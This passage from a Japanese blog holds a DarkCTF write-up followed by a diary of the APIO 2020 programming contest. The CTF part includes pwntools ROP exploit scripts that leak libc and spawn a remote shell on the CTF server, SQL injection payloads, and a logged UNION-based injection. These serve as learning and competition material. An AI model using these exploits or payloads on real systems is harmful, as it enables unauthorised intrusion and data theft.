prefix="Hello. Your flag is DarkCTF{" suffix="}." main_string="c an u br ea k th is we ir d en cr yp ti on".split() enc="eawethkthcrthcrthonutiuckirthoniskisuucthththcrthanthisucthirisbruceaeathanisutheneabrkeaeathisenbrctheneacisirkonbristhwebranbrkkonbrisbranthypbrbrkonkirbrciskkoneatibrbrbrbrtheakonbrisbrckoneauisubrbreacthenkoneaypbrbrisyputi" i,j=0,0 start=[0]*300 ans=[0]*300 while i<len(enc): while start[j]<0x100: st=main_string[start[j]//16]+main_string[start[j]%16] if i+len(st)<=len(enc) and enc[i:i+len(st)]==st: ans[j]=start[j] i+=len(st) j+=1 break start[j]+=1 if start[j]==0x100: start[j]=0 start[j-1]+=1 st=main_string[ans[j-1]//16]+main_string[ans[j-1]%16] i-=len(st) j-=1 for k in range(j): print(chr(ans[k]),end='') print("")
2. Forensics [2/10]
2-1. Wolfie's Contact
ファイルに DarkCTF{ と書かれた部分を grep で探し、前後を眺めたら解けました。ほとんどエスパー
2-2. AW
これはよくある手法なんですが、mp4をmp3にしてからsonic visualiser でスペクトル見たら見つけました。0とO,1とlがどっちか分からなかったので色々試したら通りました。
配布されたのが The Spectre だったのが大ヒントってわけですね。
darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
3. Linux [1/6]
自明しか取れず...
3-1. linux starter
これ誰でも解けそう。cd と cat しか使いません。
4. Misc [1/13]
無〜
4-1. sanity_check
Discordに入り、指示に従うとBotからDMが送られてきます。
5. OSINT [0/7]
何も解けてません。OSINT何も分からない〜
6. Pwn [2/7]
両方同じ問題に見えるけど、なに？？？
pwntoolsありがとう
6-1. roprop
適当に大量に入力するとセグフォしたので、BOFかなーと思い gdbで offset を特定。
objdump してみるとputsを使っているので、ROP で puts を使って puts の GOT アドレスを吐かせて libc database search で libc を特定。
libc base が分かった所で、system(/bin/sh) 呼び出してAC。
64bit なので、途中に ret を挟んでおくことを忘れないようにしましょう〜
PIEとSSP無効で、何らかの出力してる問題って結構な割合でこれで解ける気がします。
from pwn import * elf=ELF("./roprop") #p=process("./roprop") p=remote("pwn.darkarmy.xyz",5002) context(os="linux",arch="amd64") payload=b"A"*88 rop=ROP(elf) rop.raw(rop.find_gadget(['ret'])) rop.puts(elf.got['puts']) rop.main() log.info(rop.dump()) payload+=rop.chain() p.sendlineafter(b"19's.\n\n",payload) puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00')) log.info(hex(puts_addr)) libc=ELF("./libc6_2.27-3ubuntu1.2_amd64.so") libc.address=puts_addr-libc.symbols['puts'] log.success(hex(libc.address)) rop2=ROP(libc) payload=b"A"*88 rop2.system(next(libc.search(b"/bin/sh\x00"))) log.info(rop2.dump()) payload+=rop2.chain() p.sendlineafter(b"19's.\n\n",payload) p.interactive()
6-2. newPaX
これ、1問目と違うの 32 bit か 64bit かと、puts で吐かせるか printf で吐かせるかくらいしかない気がするんですが、、、
from pwn import * elf=ELF("./newPaX") #p=process("./newPaX") p=remote("pwn.darkarmy.xyz",5001) context(os="linux",arch="i386") rop=ROP(elf) payload=b"A"*52 rop.printf(elf.got['printf']) rop.vuln() log.info(rop.dump()) payload+=rop.chain() p.sendline(payload) printf_addr=u32(p.recv(4)) log.info(hex(printf_addr)) libc=ELF("./libc6-i386_2.27-3ubuntu1.2_amd64.so") libc.address=printf_addr-libc.symbols['printf'] log.success(hex(libc.address)) rop2=ROP(libc) rop2.system(next(libc.search(b'/bin/sh\x00'))) log.info(rop2.dump()) payload=b"A"*52+rop2.chain() p.sendline(payload) p.interactive()
7. Rev [3/8]
IDAとGhidraの組み合わせ、最強！笑
7-1. so_much
Ghidra で流れを理解してから、IDAでデバッグして計算結果をもらってくるだけ。
入力に対して操作をするわけではなく、計算結果と入力を比較するタイプなのでやりやすいですね〜
7-2. HelloWorld
1問目と同様、Ghidra -> IDA の流れ。
7-3. strings
これを入力しろってのが与えられてるので、その通りに入力してIDAで追うと、それっぽい文字列が見つかるのでdarkCTF{}で囲って祈ると、通りました（なんで？）
プログラム内で何をやってるかは、よく分からないです...
8. Web [5/10]
苦手意識あったんですが、結構解けて嬉しいです。
8-1. Source
PHPファイルを見ると、Agent名が3桁以下かつ、10000以上と書いてあるので User-Agent-Switcher とか使って、Agent名を 1e5 とかにすればAC。
<html> <head> <title>SOURCE</title> <style> #main { height: 100vh; } </style> </head> <body><center> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <?php $web = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{}</p></div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Ohhhhh!!! Very Close </p></div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Nice!!! Near But Far</p></div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Ahhhhh!!! Try Not Easy</p></div>'); } ?> </center> <!-- Source is helpful --> </body> </html>
Agent名戻すの忘れてて、Googleが壊れて焦りました。
8-2. Apache Logs
最後の方を見ると、ASCII番号の羅列っぽい怪しい URL Encode があるので、Decode してから 数字の羅列をASCII に変換すると FLAG が出てきました。
192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
8-3. So_Simple
結構苦戦しました。テーブル名が users だとエスパーして、
'union select * from users where `Password` like binary '%{}'#
を投げるもFAKEのflagが帰ってきてしまったので、SQL injection の Q が入ってそうとエスパーして
'union select * from users where `Password` like binary '%{%q%}'#
を投げたら正しいflagが帰ってきました（SQLのQではなかった）
8-4. Simple_SQL
これ、id=9 って入れるだけでACしたんだけどなんで？？？
8-5. PHP Information
PHPのソースコードに従うだけですが、最後のだけは知識が必要です。
実は、md5('240610708') == md5('QNKCDZO') は trueになります（Magic Hash）。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Corona Web</title> </head> <body> <style> body{ background-color: whitesmoke } </style> <?php include "flag.php"; echo show_source("index.php"); if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; } } if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1></br>"; } if ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1></br>"; } if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1></br>"; } } if (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1></br>"; } ?> </body> </html> 1
9. おわりに
CTF楽しいので、まだやった事ない人は是非！！JOI勢に勧めて闇討ちを図るか
APIO 2020 参加記 【コンテスト実況】
1. 雑
8/16 10:00 ~ 15:00 (JST) ，APIO 2020に参加しました．今年は残念ながらオンライン開催でしたが，長時間コンテストならではの楽しみを味わうことができました！
普通に5時間参加して疲れたんですが，春合宿の時はこれを4日連続でやってたのか... まぁ，実際 5 時間やってみると思った以上にあっという間に終わっちゃうものですよね．
時間配分に完全に失敗した感じがあるんですが，まぁそれでも 1 完できて良かった（？） でもAPIOの方が春合宿よりだいぶ簡単目ではあると思います．
APIO 2017 Virtual の時に，VSCodeで複数ファイルデバッグのやり方を確認しておいたのはかなり役立ちました．JOIの時使えるのかなぁ？
2. 全体
（提出履歴）
（得点）
- [A] Painting Walls 100点 (小課題 1 ~ 5)
- [B] Swapping Cities 50点 (小課題 1 ~ 4)
- [C] Fun Tour †0点†
計 150 点でした．ちーん
まだ日本順位出てないので分かりませんが，9位〜11位くらいじゃないかと思います．春合宿よりは全然マシ．
3. コンテスト実況（唐突）
それでは，define 選手のコンテスト中のムーブを実況しようと思います． 実況は私 define が，解説はこちらの define が担当します．よろしくお願いしま〜す（茶番開始）
主観と客観が入り混じって変になってる所あるけど許して下さい
※所々真面目な話をしていますが，ほぼ茶番ですのでご注意下さい
3.0 開始前
まずはラムネをティッシュの上におき，机の上に置きました．競技時間中にサッと食べるためでしょうか． あれ，これは春合宿用に買ったやつでは？そうです，春合宿中は競技会場内に持ち込めなかったので 2 袋買ったのに結局食べなかったのでしたね．糖分大事．
そうこうしている内に残り1分です．本選，春合宿の開始直前と同じ緊張に襲われています．
刻一刻と迫る時間の前に，人間は何と無力な事でしょう！まるで課題の締切
3.1 開始直後 〜 1時間
3.1.1 誤った計算量見積もり
まずはいつも通り A 問題からです． A 問題は簡単枠の可能性が割とあるため，慎重に見極めないと満点を逃すなんて事も起きかねません． ちょっと実験をしながら，10 分ちょっとで問題の意図を理解しました．
「なるほど，各色を好む作業員は最大でも \(650\) 人程度だから，各領域を好む作業員の合計は高々 \(650 \times 10^{5} \) 程度って事か〜．1.5 秒だし log はつけられなさそう...」
それにしても，問題文作成者は，なぜ \(f(k)^{2} \leq 4 \times 10^{5}\) などという表記をしたのでしょうか？かなり不自然に思えます．
「各領域で \(1,2,3,0,1, \cdots \) みたいになっていればそこを \(M\) ずつ指示を出していけるのか． それぞれの作業員は連続する区間で高々 1 回しか使われないから，自分の含まれる区間の右端の最大値を持っておけば貪欲に決められそう！」
「log 付けられないけど，unordered_set使えば間に合うやろ！笑」
簡単枠であると確信し，取り敢えず解法を実装します．
#include<bits/stdc++.h> #include "paint.h" using namespace std; #define rep(i,n) for(int i=0;i<n;i++) unordered_set<int>st[100005]; int mx[100005]; int minimumInstructions(int N, int M, int K, vector<int> C,vector<int> A, vector<vector<int>> B) { rep(i,N){ mx[i]=i; rep(j,M){ for(int k:B[j])if(C[i]==k)st[i].insert(j); } } rep(i,N){ for(int j:st[i]){ int worker=j,cur=i+1; while(cur<N&&st[cur].find((worker+1)%M)!=st[cur].end()){ (worker+=1)%=M; st[cur].erase(st[cur].find(worker)); cur++; } if(cur<i+M)continue; for(int k=cur-1;k>=i;k--)mx[k]=max(mx[k],cur); } } int now=0,ans=0; while(now<N){ if(now+M<=mx[now]){ ans++;now+=M; }else if(mx[now]==now)return -1; else { ans++;now=mx[now]; } } return ans; }
【結果】
TLE (28pts)
普通に考えて，そもそも
rep(i,N){
mx[i]=i;
rep(j,M){
for(int k:B[j])if(C[i]==k)st[i].insert(j);
}
}
の時点で相当ヤバイと思うんですが何故気づかないのでしょうか？
いい加減気づいてくれ...
3.1.2 重大なバグ
define 選手，ようやく気が付きました．しかし，今度は不幸にも別のバグを埋めてしまいます．
mx[i]=i;
の部分を忘れていたのです．そのため，以下のコードで -1 を返す事なく 0 に戻ってしまい無限ループが引き起こされて小さいケースでもTLE，見事0点．
int now=0,ans=0; while(now<N){ if(now+M<=mx[now]){ ans++;now+=M; }else if(mx[now]==now)return -1; else { ans++;now=mx[now]; } }
このバグは暫く気づく事ができず，コンテスト最大の敗因と言っても過言ではないのではないでしょうか．
3.2 開始 1 時間 〜 2 時間
3.2.1 試行錯誤
define 選手，前述のバグによって試行錯誤を繰り返しています．ジャッジがおかしいのでは？と思いもう一度提出しても結果は変わらず． まごまごしている内に，時間配分の目安である 1時間半を超えてしまいます．明らかに簡単枠にも関わらず，未だ 28 点しか取れていません．
とそこで，血迷った define 選手，間違えてラムネを置いたティッシュを引き抜いた〜！！ラムネ，机の上に産卵！頭大丈夫か？？
しかしそんな事で時間を取る訳には行きません．取り敢えずラムネをまとめてから，頭のリフレッシュも兼ねて他の問題を見ます． まずは B 問題．余程パニックなのでしょうか，小課題 1 を見て次数 2 以下は全てパスグラフだと錯覚し全て -1 を返すようにするも，当然 WA ！
C 問題を見ても何も分からず，やはり A 問題への未練から集中できていない模様．
A 問題にまた戻るも，未だに前述のバグに気づいていません．
3.3 開始 2 時間 〜 3時間
3.3.1 バグへの気づき
ついにバグに気が付きました！この 1 時間は何だったのか，しかし今となっては時間を巻き戻す事はできません． せめて満点を取らないと挽回は厳しいでしょう．
取り敢えずbool 型で管理するやつを実装し，小課題 2 〜 4 の51点を獲得です．
#include<bits/stdc++.h> #include "paint.h" using namespace std; #define rep(i,n) for(int i=0;i<n;i++) bool ok[20005][2005]; int mx[100005]; vector<int>oklist[100005]; int minimumInstructions(int N, int M, int K, vector<int> C,vector<int> A, vector<vector<int>> B) { rep(i,M){ for(int j:B[i])oklist[j].push_back(i); } rep(i,N){ mx[i]=i; for(int j:oklist[C[i]])ok[i][j]=true; } rep(i,N){ rep(j,M){ if(!ok[i][j])continue; int worker=j,cur=i+1; while(cur<N&&ok[cur][((worker+1)%M)]){ (worker+=1)%=M; ok[cur][worker]=false; cur++; } if(cur<i+M)continue; for(int k=cur-1;k>=i;k--)mx[k]=max(mx[k],cur); } } int now=0,ans=0; while(now<N){ if(now+M<=mx[now]){ ans++;now+=M; }else if(mx[now]==now)return -1; else { ans++;now=mx[now]; } } return ans; }
3.3.2 そして満点解法へ
さて，後は区間の管理を高速化するのみです．
ここで，\(0,1,2,0 \dots \) を index の分だけ差し引けば同じ数になって管理しやすくなる事に気が付きました． 気づくのが遅すぎる，もはや致命的ですがこのチャンスを逃すわけには行きません．
早速実装するも，WA．重大なバグを埋め込んでいるにも関わらず，なぜか小課題 1 が取れました．
#include<bits/stdc++.h> #include "paint.h" using namespace std; #define rep(i,n) for(int i=0;i<n;i++) vector<int>st[100005]; int mx[100005]; vector<int>oklist[100005]; int start[100005],en[100005]; int minimumInstructions(int N, int M, int K, vector<int> C,vector<int> A, vector<vector<int>> B) { rep(i,M){ for(int j:B[i])oklist[j].push_back(i); } int ad=(100000+M-1)/M*M; rep(i,N){ mx[i]=i; for(int j:oklist[C[i]]){ st[i].emplace_back((j-i+ad)%M); } } rep(i,M){ start[i]=-2;en[i]=-2; } rep(i,N){ for(int j:st[i]){ if(en[j]==i-1)en[j]++; else { for(int k=max(0,start[j]);k<=en[j];k++)mx[k]=max(mx[k],en[j]+1); start[j]=i;en[j]=i; } } } rep(i,M){ if(en[i]==N-1){ for(int j=start[i];j<N;j++)mx[j]=N; } } int now=0,ans=0; while(now<N){ if(now+M<=mx[now]){ ans++;now+=M; }else if(mx[now]==now)return -1; else { ans++;now=mx[now]; } } return ans; }
適当に以下のように場合分けをしましたが，これは実は意味がありません．途中で終わっている場合を無視しているからです．
rep(i,M){
if(en[i]==N-1){
for(int j=start[i];j<N;j++)mx[j]=N;
}
}
そこでそれを直すも，WA(0pts)． サンプル 2 が間違っている事に気が付きデバッグをすると，連続する区間が \(M\) 未満の場合も処理を行っているのが原因でした．
それを直し，提出．13:00:38 の提出で，見事ACを獲得！
#include<bits/stdc++.h> #include "paint.h" using namespace std; #define rep(i,n) for(int i=0;i<n;i++) vector<int>st[100005]; int mx[100005]; vector<int>oklist[100005]; int start[100005],en[100005]; int minimumInstructions(int N, int M, int K, vector<int> C,vector<int> A, vector<vector<int>> B) { rep(i,M){ for(int j:B[i])oklist[j].push_back(i); } int ad=(100000+M-1)/M*M; rep(i,N){ mx[i]=i; for(int j:oklist[C[i]]){ st[i].emplace_back((j-i+ad)%M); } } rep(i,M){ start[i]=-2;en[i]=-2; } rep(i,N){ for(int j:st[i]){ if(en[j]==i-1)en[j]++; else { if(en[j]-start[j]+1>=M){ for(int k=max(0,start[j]);k<=en[j];k++)mx[k]=max(mx[k],en[j]+1); } start[j]=i;en[j]=i; } } } rep(i,M){ if(en[i]-start[i]+1>=M){ for(int j=max(0,start[i]);j<=en[i];j++)mx[j]=max(mx[j],en[i]+1); } } int now=0,ans=0; while(now<N){ if(now+M<=mx[now]){ ans++;now+=M; }else if(mx[now]==now)return -1; else { ans++;now=mx[now]; } } return ans; }
3.4 開始 3 時間 〜 4 時間
3.4.1 小課題 1
ACして喜ぶのも束の間，時間配分を盛大に失敗している事に気づき絶望．残り時間は僅か 2 時間です． さぁ define 選手，未だに A 問題しか正の得点を得ていない，流石に 1 完 のみじゃ代表は厳しいぞ！
先程「次数 2 以下はパスグラフ」という盛大な嘘解法を実装した define 選手，図を書いたらサイクルグラフの場合も 次数が 2 以下を満たす事に気が付きました．1 完して頭に余裕が出来たのでしょうか，しかし余裕ぶっこいてる場合ではありません． 取り敢えず 6 点を獲得．
#include<bits/stdc++.h> using namespace std; #include "swap.h" #define rep(i,n) for(int i=0;i<n;i++) int ans; void init(int N, int M,vector<int> U, vector<int> V, vector<int> W) { rep(i,M){ ans=max(ans,W[i]); } if(M==N-1)ans=-1; } int getMinimumFuelCapacity(int X, int Y) { return ans; }
3.4.2 小課題 2
「\(N \leq 3\) の場合は明らかにアウトで，\(X = 0\) の場合は \(Y\) とのやつ以外に余分な辺を 2 本， それ以外の場合は余分な辺を 1 本取れば大丈夫そう〜」
さて，現在 13 点です．
コード
#include<bits/stdc++.h> using namespace std; #include "swap.h" #define rep(i,n) for(int i=0;i<n;i++) int ans; vector<int>memo; vector<int>idx; int nn; multiset<int>st; void init(int N, int M,vector<int> U, vector<int> V, vector<int> W) { idx.resize(N); nn=N; memo=W; rep(i,M){ idx[V[i]]=i; st.insert(W[i]); } } int getMinimumFuelCapacity(int X, int Y) { if(nn<4)return -1; if(X==0){ st.erase(st.find(memo[idx[Y]])); auto it=st.begin();it++; int ans=max(*it,memo[idx[Y]]); st.insert(memo[idx[Y]]); return ans; }else { st.erase(st.find(memo[idx[X]])); st.erase(st.find(memo[idx[Y]])); int ans=max({*st.begin(),memo[idx[X]],memo[idx[Y]]}); st.insert(memo[idx[X]]); st.insert(memo[idx[Y]]); return ans; } }
3.4.3 小課題 3 , 4
「小課題 3 はサイズが小さいので辺を小さい順に追加して行く事が可能だなぁ．閉路がある（辺の本数が頂点数以上）か，パスグラフではなくなった(次数の最大値が3以上）時点でOKだよね．これUnionFindでできるじゃん！」
UnionFindをちょっと改造して提出したら予想以上に点数が高い！これは...？
なんと，小課題 4 も取れています！（ﾄﾞﾝﾄﾞｺﾄﾞﾝﾄﾞｺ)
コード
#include<bits/stdc++.h> using namespace std; #include "swap.h" #define rep(i,n) for(int i=0;i<n;i++) #define all(v) v.begin(),v.end() struct UnionFind{ vector<int>par,size,edges,mx; int find(int x){ return (par[x]==x?x:par[x]=find(par[x])); } void merge(int x,int y){ x=find(x);y=find(y); if(x==y){ edges[x]++; return; } if(size[x]<size[y]){ par[x]=y; size[y]+=size[x]; edges[y]+=edges[x]+1; mx[y]=max(mx[x],mx[y]); }else { par[y]=x; size[x]+=size[y]; edges[x]+=edges[y]+1; mx[x]=max(mx[x],mx[y]); } } bool same(int x,int y){ return find(x)==find(y); } UnionFind(int x){ rep(i,x){ par.push_back(i);size.push_back(1); edges.push_back(0);mx.push_back(0); } } }; int n,m; struct S{ int from,to,weight; bool operator<(S e){ return weight<e.weight; } }; vector<S>edge; void init(int N, int M,vector<int> U, vector<int> V, vector<int> W) { n=N;m=M; rep(i,M)edge.push_back({U[i],V[i],W[i]}); sort(all(edge)); } vector<int>num; int getMinimumFuelCapacity(int X, int Y) { num.assign(n,0); UnionFind uf(n); for(S e:edge){ num[e.from]++; num[e.to]++; uf.mx[uf.find(e.from)]=max(uf.mx[uf.find(e.from)],num[e.from]); uf.mx[uf.find(e.to)]=max(uf.mx[uf.find(e.to)],num[e.to]); uf.merge(e.from,e.to); if(uf.same(X,Y)){ int siz=uf.size[uf.find(X)]; int ed=uf.edges[uf.find(X)]; int mx=uf.mx[uf.find(X)]; if(siz-1!=ed||mx>2)return e.weight; } } return -1; }
これで小課題 1 〜 4 を獲得し，B 問題で 50 点を得ました．
実は小課題 5 の解法も分かってはいたものの，残り 1 時間しかなかった上に実装が重そうだったのでパス．
3.5 開始 4 時間 〜 5 時間
3.5.1 嘘解法，再び そして競技終了
残り僅か 1 時間，何としてでも C 問題で 正の点数を取りたい所です．
「えー，グラフが与えられても順列の構築って難しくない？？？」
取り敢えずクエリを飛ばす必要のない小課題 3 に目を向け，適当な嘘解法を実装するも，当然 WA． 色々直す内に，無理そうな気がするもののやはりこの 21 点は取っておきたい所です．
まごまごしている内に残り 10 分を切りました．未だ 1 点も得ず．C 問題やらずに B の小課題 5 を実装すれば良かった... と思っても，今更そんな事はできません．さぁ，残り 5 分 になっても未だ進展はありません．
残り1分，30秒，15,14, ... そして C で 1 点も取れないまま競技は終了です．
4. 反省点・ポエム他
時間配分をミスっていた事，小さなバグに長い時間気が付かなかった事など非常に反省の余地があります． C 問題で小課題 1,2 から取っておけば良かったな... e.t.c. ただ，コンテストが終わった後に「〜だったら〜だったのに」みたいな事を言うのは大嫌いなので そういう事はしません．
良かった点としては，割と正しい難易度判定ができた事が挙げられると思います． 個人的に，9-10-? だと感じました．
全体の結果としては，Kodaman や blackyuki といった同級生が B で満点を取って代表となり，メダルを獲得した一方， 私は精進不足で部分永続 Union Find を知らず代表落ち，破滅となってしまいました．
非常に悔しいですが，これが実力です．APIOどころでなく破滅した春合宿直後は 「APIOに向けて極度精進するぞ！」と心に誓っていたのに，この4ヶ月の間に いつの間にかCTF をやっていたり（悪い事ではないけど） ，Youtubeに走ってしまったり（最悪）していた自分の信念の弱さが憎いです．
実際CTF は楽しいし役にも立ちますが，現実逃避の1つになっていたと考えられない事もないだろうと思います． CTF は別に大学生になってからでも全然できますが，情報オリンピックに参加できるのは残り僅か 3 年もありませんし， 同期がめちゃくちゃ強いので，今逃げてしまったら絶対にIOI代表にはなれないでしょう． 実際，今回私はAPIOで代表になり損ねました．
そういえば，小学生の時にやっていた暗算/珠算の時も同様でした． 今と同様（？）に全国レベルの実力はありましたが，上には上がいるという感じで どうしても勝てない同期がいたのです（名前は伏せますが，Googleで検索してみたらかなり有名になっていました）． 結局中学受験を理由に，暗算も九段のまま中途半端に終わる結果となってしまいました．
今の自分のままだと，暗算の時のように競プロも中途半端で終わってしまうんじゃないかと危惧しています． まぁ，こういうのも明日になったら忘れてたりするんですけどね...
これ以上重い感じ出すと界隈に悪影響与えそうなのでこれくらいで． ま，あんまり重い気持ちで競プロをやっても折角の楽しみが失われてしまうと思うので，これからも楽しんでやろうと思います！
5. い か が で し た か ？
実況で謎テンションをした挙げ句，ポエムで激重テンションをする謎ムーブ... 最後まで謎テンションに付き合って下さった皆様，ありがとうございました．
（宣伝）
第5回技術室奥プログラミングコンテストをyukicoderにて開催します！
— 筑駒パ研 (@tk_paken) August 16, 2020
筑駒パ研の中2から高2までの有志が主催するコンテストです。
22日のDay1はスピードラン、30日のDay2は高難度な問題を集めたコンテストになっていて、どちらも時間は5時間です。
是非ご参加ください！#技術室奥プロコン
（余談）
APIO のスタートボタンの下に書かれていた英文が，英語の例文チックで面白いなーと思いました（どうでも良い）
Welcome, APIO 2020 Contestants. APIO 2020 is a 5-hour virtual contest. To start your participation, click the "Click here to start your participation" button to start reading the problems and start your personal 5 hour timer.
Note that once your timer has started, there is no way to pause the timer. Do not press the button unless you are ready to start the contest.
